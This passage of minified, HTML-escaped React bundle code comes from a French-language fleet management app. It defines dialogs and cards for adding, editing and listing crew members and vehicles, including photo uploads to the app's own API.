56&quot;,value:d.telephone||&quot;&quot;,onChange:C=&gt;u({...d,telephone:C.target.value||void 0}),className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-phone&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{children:&quot;Photo du membre d&#039;équipage&quot;}),A?a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;img&quot;,{src:A,alt:&quot;Aperçu&quot;,className:&quot;w-full h-48 object-cover rounded-lg border&quot;}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;destructive&quot;,size:&quot;icon&quot;,className:&quot;absolute top-2 right-2&quot;,onClick:E,children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})})]}):a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;photo-upload&quot;,className:&quot;flex-1 cursor-pointer&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-center gap-2 h-12 border-2 border-dashed rounded-lg hover:bg-accent transition-colors&quot;,children:[a.jsx(ja,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{className:&quot;text-sm&quot;,children:&quot;Téléverser une photo&quot;})]})}),a.jsx(Xe,{id:&quot;photo-upload&quot;,type:&quot;file&quot;,accept:&quot;image/*&quot;,onChange:j,className:&quot;hidden&quot;,&quot;data-testid&quot;:&quot;input-photo-upload&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;absolute inset-0 flex items-center&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;w-full border-t&quot;})}),a.jsx(&quot;div&quot;,{className:&quot;relative flex justify-center text-xs uppercase&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;bg-background px-2 text-muted-foreground&quot;,children:&quot;ou&quot;})})]}),a.jsx(Xe,{id:&quot;photoUrl&quot;,type:&quot;url&quot;,placeholder:&quot;https://example.com/photo.jpg&quot;,value:d.photoUrl||&quot;&quot;,onChange:C=&gt;{u({...d,photoUrl:C.target.value||void 0}),p(null),y(null)},className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-photo-url&quot;})]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:h?`Fichier sélectionné : ${h.name} (${(h.size/1024/1024).toFixed(2)} MB)`:&quot;Téléversez une photo ou entrez une URL (optionnel)&quot;})]})]}),a.jsxs(Na,{className:&quot;gap-2 flex-col sm:flex-row&quot;,children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;l(!1),&quot;data-testid&quot;:&quot;button-cancel&quot;,className:&quot;w-full sm:w-auto h-12&quot;,children:&quot;Annuler&quot;}),a.jsx(ge,{type:&quot;submit&quot;,&quot;data-testid&quot;:&quot;button-submit&quot;,className:&quot;w-full sm:w-auto h-12&quot;,disabled:v,children:v?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Upload en cours...&quot;]}):&quot;Ajouter&quot;})]})]})]})]})}const iGe={chauffeur:&quot;Chauffeur&quot;,apprenti:&quot;Apprenti&quot;};function aGe({crewMember:e,open:t,onOpenChange:r,onUpdate:n}){const{toast:i}=Er(),[s,o]=I.useState({nom:&quot;&quot;,prenom:&quot;&quot;,role:&quot;chauffeur&quot;,telephone:void 0,photoUrl:void 0,userId:void 0,userEmail:void 0}),[l,c]=I.useState(null),[d,u]=I.useState(null),[h,p]=I.useState(!1),{data:A}=cr({queryKey:[&quot;/api/users&quot;],queryFn:()=&gt;T_({per_page:100}),enabled:t}),v=(A?.data||[]).filter(C=&gt;C.role===&quot;chauffeur&quot;||C.role===&quot;apprenti&quot;),w=e?.userId?v.find(C=&gt;String(C.id)===String(e.userId)):null;I.useEffect(()=&gt;{if(e&amp;&amp;t){const C=e.userEmail||w?.email||&quot;&quot;,Q=e.userId?String(e.userId):null;o({nom:e.nom,prenom:e.prenom,role:e.role,telephone:e.telephone||void 0,photoUrl:e.photoUrl||void 0,userId:Q,userEmail:C}),c(null),u(Sr(e.photoUrl)||null)}},[e,t,w]);const j=C=&gt;{const Q=C.target.files?.[0];if(Q){if(!Q.type.startsWith(&quot;image/&quot;)){i({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez sélectionner un fichier image&quot;});return}if(Q.size&gt;5*1024*1024){i({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Le fichier est trop volumineux (max 5MB)&quot;});return}c(Q);const R=new FileReader;R.onloadend=()=&gt;{u(R.result)},R.readAsDataURL(Q),o({...s,photoUrl:void 0})}},E=()=&gt;{c(null),u(e?.photoUrl||null)},S=async()=&gt;{if(!l)return null;p(!0);try{const C=new FormData;C.append(&quot;photo&quot;,l);const Q=$s(&quot;/api/upload/crew-member-photo&quot;);if(!Q.startsWith(&quot;http://&quot;)&amp;&amp;!Q.startsWith(&quot;https://&quot;))throw new Error(`URL invalide: ${Q}. VITE_API_BASE_URL doit être défini.`);const R=Vd(),T={};R&amp;&amp;(T.Authorization=`Bearer ${R}`);const M=await fetch(Q,{method:&quot;POST&quot;,headers:T,body:C,credentials:&quot;include&quot;});if(!M.ok){const $=await M.json().catch(()=&gt;({message:&quot;Erreur lors de l&#039;upload&quot;}));throw new Error($.message||&quot;Erreur lors de l&#039;upload&quot;)}const O=await M.json();return{url:O.url,publicId:O.publicId}}catch(C){return i({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:C instanceof Error?C.message:&quot;Erreur lors de l&#039;upload du fichier&quot;}),null}finally{p(!1)}},_=async C=&gt;{if(C.preventDefault(),!e)return;let Q=s.photoUrl?.trim()||void 0,R;if(l){const M=await S();if(M)Q=M.url,R=M.publicId;else return}if(s.userId&amp;&amp;!s.userEmail){i({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;L&#039;email est obligatoire lorsque un compte utilisateur est associé&quot;});return}const T={...s,photoUrl:Q,photoCloudinaryPublicId:R,nom:s.nom.trim()||void 0,prenom:s.prenom.trim()||void 0,telephone:s.telephone?.trim()||void 0,userId:s.userId||null,userEmail:s.userId?s.userEmail:void 0};n?.(e.id,T),r(!1)};return e?a.jsx(En,{open:t,onOpenChange:r,children:a.jsxs(yn,{className:&quot;sm:max-w-[500px] max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsx(In,{children:&quot;Modifier le chauffeur&quot;}),a.jsxs(Mn,{children:[&quot;Modifiez les détails de &quot;,e.prenom,&quot; &quot;,e.nom,&quot;.&quot;]})]}),a.jsxs(&quot;form&quot;,{onSubmit:_,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 py-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;prenom&quot;,children:[&quot;Prénom &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;prenom&quot;,placeholder:&quot;Amadou&quot;,value:s.prenom,onChange:C=&gt;o({...s,prenom:C.target.value}),className:&quot;h-12&quot;,required:!0,&quot;data-testid&quot;:&quot;input-first-name&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;nom&quot;,children:[&quot;Nom &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;nom&quot;,placeholder:&quot;Ouédraogo&quot;,value:s.nom,onChange:C=&gt;o({...s,nom:C.target.value}),className:&quot;h-12&quot;,required:!0,&quot;data-testid&quot;:&quot;input-last-name&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;role&quot;,children:[&quot;Rôle &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsxs(rn,{value:s.role,onValueChange:C=&gt;o({...s,role:C}),required:!0,children:[a.jsx(Xr,{id:&quot;role&quot;,&quot;data-testid&quot;:&quot;select-role&quot;,className:&quot;h-12&quot;,children:a.jsx(nn,{placeholder:&quot;Sélectionner un rôle&quot;})}),a.jsx(en,{children:S_.map(C=&gt;a.jsx(Qt,{value:C,children:iGe[C]||C},C))})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;telephone&quot;,children:&quot;Téléphone&quot;}),a.jsx(Xe,{id:&quot;telephone&quot;,placeholder:&quot;+226 70 12 34 56&quot;,value:s.telephone||&quot;&quot;,onChange:C=&gt;o({...s,telephone:C.target.value||void 0}),className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-phone&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;userId&quot;,children:&quot;Compte utilisateur associé&quot;}),a.jsxs(rn,{value:s.userId||&quot;none&quot;,onValueChange:C=&gt;{const Q=C===&quot;none&quot;?null:C,R=Q?v.find(T=&gt;T.id===Q):null;o({...s,userId:Q,userEmail:R?.email||&quot;&quot;})},children:[a.jsx(Xr,{id:&quot;userId&quot;,className:&quot;h-12&quot;,children:a.jsx(nn,{placeholder:&quot;Aucun compte associé&quot;})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;none&quot;,children:&quot;Aucun compte associé&quot;}),v.map(C=&gt;a.jsxs(Qt,{value:C.id,children:[C.username,&quot; (&quot;,C.role===&quot;chauffeur&quot;?&quot;Chauffeur&quot;:&quot;Apprenti&quot;,&quot;)&quot;]},C.id))]})]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Liez ce membre d&#039;équipage à un compte utilisateur pour qu&#039;il puisse se connecter et voir ses voyages assignés.&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;userEmail&quot;,children:[&quot;Email de l&#039;utilisateur &quot;,s.userId||e?.userId?a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;}):null]}),a.jsx(Xe,{id:&quot;userEmail&quot;,type:&quot;email&quot;,value:s.userEmail||&quot;&quot;,onChange:C=&gt;o({...s,userEmail:C.target.value}),placeholder:&quot;email@example.com&quot;,className:&quot;h-12&quot;,required:!!(s.userId||e?.userId),disabled:!(s.userId||e?.userId)}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:s.userId||e?.userId?&quot;Email du compte utilisateur associé. Ce champ est obligatoire.&quot;:&quot;Sélectionnez d&#039;abord un compte utilisateur pour modifier son email.&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{children:&quot;Photo du membre d&#039;équipage&quot;}),d?a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;img&quot;,{src:d,alt:&quot;Aperçu&quot;,className:&quot;w-full h-48 object-cover rounded-lg border&quot;}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;destructive&quot;,size:&quot;icon&quot;,className:&quot;absolute top-2 right-2&quot;,onClick:E,children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})})]}):a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;photo-upload-edit&quot;,className:&quot;flex-1 cursor-pointer&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-center gap-2 h-12 border-2 border-dashed rounded-lg hover:bg-accent transition-colors&quot;,children:[a.jsx(ja,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{className:&quot;text-sm&quot;,children:&quot;Téléverser une photo&quot;})]})}),a.jsx(Xe,{id:&quot;photo-upload-edit&quot;,type:&quot;file&quot;,accept:&quot;image/*&quot;,onChange:j,className:&quot;hidden&quot;,&quot;data-testid&quot;:&quot;input-photo-upload&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;absolute inset-0 flex items-center&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;w-full border-t&quot;})}),a.jsx(&quot;div&quot;,{className:&quot;relative flex justify-center text-xs uppercase&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;bg-background px-2 text-muted-foreground&quot;,children:&quot;ou&quot;})})]}),a.jsx(Xe,{id:&quot;photoUrl&quot;,type:&quot;url&quot;,placeholder:&quot;https://example.com/photo.jpg&quot;,value:s.photoUrl||&quot;&quot;,onChange:C=&gt;{o({...s,photoUrl:C.target.value||void 0}),c(null),u(null)},className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-photo-url&quot;})]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:l?`Fichier sélectionné : ${l.name} (${(l.size/1024/1024).toFixed(2)} MB)`:&quot;Téléversez une photo ou entrez une URL (optionnel)&quot;})]})]}),a.jsxs(Na,{className:&quot;gap-2 flex-col sm:flex-row&quot;,children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;r(!1),&quot;data-testid&quot;:&quot;button-cancel&quot;,className:&quot;w-full sm:w-auto h-12&quot;,children:&quot;Annuler&quot;}),a.jsx(ge,{type:&quot;submit&quot;,&quot;data-testid&quot;:&quot;button-submit&quot;,className:&quot;w-full sm:w-auto h-12&quot;,disabled:h,children:h?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Upload en cours...&quot;]}):&quot;Enregistrer&quot;})]})]})]})}):null}function sGe(){const[e,t]=I.useState(&quot;&quot;),[r,n]=I.useState(null),[i,s]=I.useState(!1),[o,l]=I.useState(null),[c,d]=I.useState(!1),{toast:u}=Er(),{data:h=[],isLoading:p}=cr({queryKey:[&quot;/api/crew-members&quot;]}),A=_r({mutationFn:async Q=&gt;await $t(&quot;/api/crew-members&quot;,{method:&quot;POST&quot;,body:Q}),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/crew-members&quot;]}),u({title:&quot;Succès&quot;,description:&quot;Le chauffeur a été ajouté avec succès&quot;}),s(!1)},onError:Q=&gt;{u({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:Q.message||&quot;Impossible d&#039;ajouter le chauffeur&quot;})}}),y=_r({mutationFn:async({id:Q,data:R})=&gt;await $t(`/api/crew-members/${Q}`,{method:&quot;PATCH&quot;,body:R}),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/crew-members&quot;]}),u({title:&quot;Succès&quot;,description:&quot;Le chauffeur a été modifié avec succès&quot;}),d(!1),l(null)},onError:Q=&gt;{u({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:Q.message||&quot;Impossible de modifier le chauffeur&quot;})}}),v=_r({mutationFn:async Q=&gt;await $t(`/api/crew-members/${Q}`,{method:&quot;DELETE&quot;}),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/crew-members&quot;]}),u({title:&quot;Succès&quot;,description:&quot;Le chauffeur a été supprimé avec succès&quot;}),n(null)},onError:Q=&gt;{u({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:Q.message||&quot;Impossible de supprimer le chauffeur&quot;})}}),w=h.filter(Q=&gt;Q.nom.toLowerCase().includes(e.toLowerCase())||Q.prenom.toLowerCase().includes(e.toLowerCase())||Q.telephone?.toLowerCase().includes(e.toLowerCase())),j=Q=&gt;{A.mutate(Q)},E=Q=&gt;{const R=h.find(T=&gt;T.id===Q);R&amp;&amp;(l(R),d(!0))},S=(Q,R)=&gt;{y.mutate({id:Q,data:R})},_=Q=&gt;{n(Q)},C=()=&gt;{r&amp;&amp;v.mutate(r)};return a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 md:space-y-6&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col md:flex-row md:items-start md:justify-between gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;h2&quot;,{className:&quot;text-lg md:text-xl font-semibold&quot;,&quot;data-testid&quot;:&quot;text-page-title&quot;,children:&quot;Équipage&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Gérez vos chauffeurs et apprentis&quot;})]}),a.jsx(nGe,{onAdd:j,open:i,onOpenChange:s})]}),a.jsx(&quot;div&quot;,{className:&quot;flex items-center gap-3&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;relative flex-1&quot;,children:[a.jsx(rf,{className:&quot;absolute left-3 top-1/2 -translate-y-1/2 h-4 w-4 text-muted-foreground&quot;}),a.jsx(Xe,{placeholder:&quot;Rechercher...&quot;,value:e,onChange:Q=&gt;t(Q.target.value),className:&quot;pl-9 h-12&quot;,&quot;data-testid&quot;:&quot;input-search&quot;})]})}),p?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center py-12&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})}):a.jsxs(a.Fragment,{children:[a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-4&quot;,children:w.map(Q=&gt;a.jsx(tGe,{crewMember:Q,onEdit:E,onDelete:_},Q.id))}),w.length===0&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;text-center py-12&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Aucun chauffeur trouvé&quot;})})]}),a.jsx(np,{onClick:()=&gt;s(!0),label:&quot;Ajouter un chauffeur&quot;}),a.jsx(aGe,{crewMember:o,open:c,onOpenChange:d,onUpdate:S}),a.jsx(du,{open:r!==null,onOpenChange:()=&gt;n(null),children:a.jsxs(yc,{children:[a.jsxs(bc,{children:[a.jsx(Ec,{children:&quot;Confirmer la suppression&quot;}),a.jsx(Cc,{children:&quot;Êtes-vous sûr de vouloir supprimer ce chauffeur ? Cette action est irréversible.&quot;})]}),a.jsxs(wc,{children:[a.jsx(jc,{children:&quot;Annuler&quot;}),a.jsx(Ic,{onClick:C,children:&quot;Supprimer&quot;})]})]})})]})}function oGe({id:e,immatriculation:t,nom:r,couleur:n,marque:i,modele:s,annee:o,photoUrl:l,kilometrage:c,onEdit:d,onDelete:u,onViewTrips:h}){return a.jsxs(it,{&quot;data-testid&quot;:`card-vehicle-${e}`,className:&quot;hover-elevate overflow-hidden&quot;,children:[l&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;relative w-full aspect-video overflow-hidden rounded-t-xl bg-muted mb-3&quot;,children:[a.jsx(&quot;img&quot;,{src:Sr(l)||void 0,alt:`Véhicule ${t}`,className:&quot;w-full h-full object-cover&quot;,onError:p=&gt;{p.target.style.display=&quot;none&quot;}}),a.jsxs(&quot;div&quot;,{className:&quot;absolute top-3 left-3 flex items-center gap-2 z-20&quot;,children:[a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;font-mono font-semibold text-xs px-2.5 py-1 bg-background/95 backdrop-blur-sm shadow-md border inline-flex items-center&quot;,&quot;data-testid&quot;:`text-registration-${e}`,children:t}),a.jsx(Wv,{type:&quot;vehicle&quot;,data:{kilometrage:c||null}})]})]}),a.jsx(br,{className:l?&quot;space-y-3 pb-4 pt-4&quot;:&quot;space-y-3 pb-4&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1&quot;,children:[r&amp;&amp;a.jsx(&quot;h3&quot;,{className:&quot;text-base md:text-lg font-semibold&quot;,&quot;data-testid&quot;:`text-name-${e}`,children:r}),!l&amp;&amp;!r&amp;&amp;a.jsx(&quot;h3&quot;,{className:&quot;text-base md:text-lg font-semibold font-mono&quot;,&quot;data-testid&quot;:`text-registration-${e}`,children:t}),n&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;flex items-center gap-2 mt-1&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;text-xs text-muted-foreground&quot;,&quot;data-testid&quot;:`text-color-${e}`,children:n})}),status&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;flex items-center gap-2 mt-2&quot;,children:a.jsx(R8,{status,size:&quot;sm&quot;})})]}),a.jsx(N1,{cardData:{type:&quot;vehicle&quot;,title:r||t,details:{nom:r||void 0,couleur:n||void 0,immatriculation:t,marque:i||void 0,modele:s||void 0,annee:o||void 0,status:status||void 0}},size:&quot;sm&quot;})]})}),a.jsxs(Et,{className:&quot;pb-4 space-y-3&quot;,children:[!r&amp;&amp;a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mb-1&quot;,children:&quot;Immatriculation&quot;}),a.jsx(&quot;p&quot;,{className:&quot;font-mono font-semibold text-base&quot;,&quot;data-testid&quot;:`text-registration-${e}`,children:t})]}),r&amp;&amp;a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mb-1&quot;,children:&quot;Immatriculation&quot;}),a.jsx(&quot;p&quot;,{className:&quot;font-mono text-sm&quot;,&quot;data-testid&quot;:`text-registration-${e}`,children:t})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 gap-4 text-sm&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mb-1&quot;,children:&quot;Marque&quot;}),a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-base&quot;,&quot;data-testid&quot;:`text-brand-${e}`,children:i||&quot;—&quot;})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mb-1&quot;,children:&quot;Modèle&quot;}),a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-base&quot;,&quot;data-testid&quot;:`text-model-${e}`,children:s||&quot;—&quot;})]})]}),o&amp;&amp;a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mb-1&quot;,children:&quot;Année&quot;}),a.jsx(&quot;p&quot;,{className:&quot;font-medium text-sm&quot;,&quot;data-testid&quot;:`text-year-${e}`,children:o})]})]}),a.jsx(_m,{className:&quot;gap-2 pt-4 border-t&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col sm:flex-row gap-2 w-full&quot;,children:[a.jsxs(ge,{size:&quot;sm&quot;,variant:&quot;outline&quot;,onClick:()=&gt;d?.(e),&quot;data-testid&quot;:`button-edit-${e}`,className:&quot;flex-1 h-10&quot;,children:[a.jsx(z1,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Modifier&quot;]}),a.jsxs(ge,{size:&quot;sm&quot;,variant:&quot;outline&quot;,onClick:()=&gt;h?.(e),&quot;data-testid&quot;:`button-view-trips-${e}`,className:&quot;flex-1 h-10&quot;,children:[a.jsx(O6,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Voyages&quot;]}),u&amp;&amp;a.jsxs(ge,{size:&quot;sm&quot;,variant:&quot;destructive&quot;,onClick:()=&gt;u(e),&quot;data-testid&quot;:`button-delete-${e}`,className:&quot;flex-1 h-10&quot;,children:[a.jsx(Ns,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Supprimer&quot;]})]})})]})}function lGe({onAdd:e,trigger:t,open:r,onOpenChange:n}){const[i,s]=I.useState(!1),o=r!==void 0?r:i,l=n||s,{toast:c}=Er(),[d,u]=I.useState({immatriculation:&quot;&quot;,nom:&quot;&quot;,couleur:&quot;&quot;,marque:&quot;&quot;,modele:&quot;&quot;,annee:new Date().getFullYear(),photoUrl:&quot;&quot;}),[h,p]=I.useState(null),[A,y]=I.useState(null),[v,w]=I.useState(!1),j=C=&gt;{const Q=C.target.files?.[0];if(Q){if(!Q.type.startsWith(&quot;image/&quot;)){c({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez sélectionner un fichier image&quot;});return}if(Q.size&gt;5*1024*1024){c({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Le fichier est trop volumineux (max 5MB)&quot;});return}p(Q);const R=new FileReader;R.onloadend=()=&gt;{y(R.result)},R.readAsDataURL(Q),u({...d,photoUrl:&quot;&quot;})}},E=()=&gt;{p(null),y(null)},S=async()=&gt;{if(!h)return null;w(!0);try{const C=new FormData;C.append(&quot;photo&quot;,h);const Q=$s(&quot;/api/upload/vehicle-photo&quot;),R=Vd(),T={};R&amp;&amp;(T.Authorization=`Bearer ${R}`);const M=await fetch(Q,{method:&quot;POST&quot;,headers:T,body:C,credentials:&quot;include&quot;});if(!M.ok){const $=await M.json().catch(()=&gt;({message:&quot;Erreur lors de l&#039;upload&quot;}));throw new Error($.message||&quot;Erreur lors de l&#039;upload&quot;)}const O=await M.json();return{url:O.url,publicId:O.publicId}}catch(C){return c({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:C instanceof Error?C.message:&quot;Erreur lors de l&#039;upload du fichier&quot;}),null}finally{w(!1)}},_=async C=&gt;{C.preventDefault();let Q=d.photoUrl?.trim()||void 0,R;if(h){const M=await S();if(M)Q=M.url,R=M.publicId;else return}const T={...d,photoUrl:Q,photoCloudinaryPublicId:R,annee:d.annee&amp;&amp;!isNaN(d.annee)?d.annee:void 0,nom:d.nom?.trim()||void 0,couleur:d.couleur?.trim()||void 0,marque:d.marque?.trim()||void 0,modele:d.modele?.trim()||void 0};if(!T.immatriculation||!T.immatriculation.trim()){c({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;L&#039;immatriculation est obligatoire&quot;});return}console.log(&quot;[AddVehicleDialog] Submitting vehicle:&quot;,T),e?.(T),l(!1),u({immatriculation:&quot;&quot;,nom:&quot;&quot;,couleur:&quot;&quot;,marque:&quot;&quot;,modele:&quot;&quot;,annee:new Date().getFullYear(),photoUrl:&quot;&quot;}),p(null),y(null)};return a.jsxs(En,{open:o,onOpenChange:l,children:[a.jsx(ah,{asChild:!0,children:t||a.jsxs(ge,{&quot;data-testid&quot;:&quot;button-add-vehicle&quot;,className:&quot;w-full md:w-auto&quot;,children:[a.jsx(Ti,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Ajouter un véhicule&quot;]})}),a.jsxs(yn,{className:&quot;sm:max-w-[500px] max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsx(In,{children:&quot;Ajouter un véhicule&quot;}),a.jsx(Mn,{children:&quot;Entrez les détails du véhicule à ajouter à votre parc.&quot;})]}),a.jsxs(&quot;form&quot;,{onSubmit:_,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 py-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;immatriculation&quot;,children:[&quot;Immatriculation &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;immatriculation&quot;,placeholder:&quot;AB-123-CD&quot;,value:d.immatriculation,onChange:C=&gt;u({...d,immatriculation:C.target.value}),className:&quot;font-mono h-12&quot;,required:!0,&quot;data-testid&quot;:&quot;input-registration&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;nom&quot;,children:&quot;Nom du camion&quot;}),a.jsx(Xe,{id:&quot;nom&quot;,placeholder:&quot;Ex: Le Rouge&quot;,value:d.nom||&quot;&quot;,onChange:C=&gt;u({...d,nom:C.target.value||void 0}),className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-name&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;couleur&quot;,children:&quot;Couleur&quot;}),a.jsx(Xe,{id:&quot;couleur&quot;,placeholder:&quot;Ex: Rouge, Bleu, Blanc&quot;,value:d.couleur||&quot;&quot;,onChange:C=&gt;u({...d,couleur:C.target.value||void 0}),className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-color&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 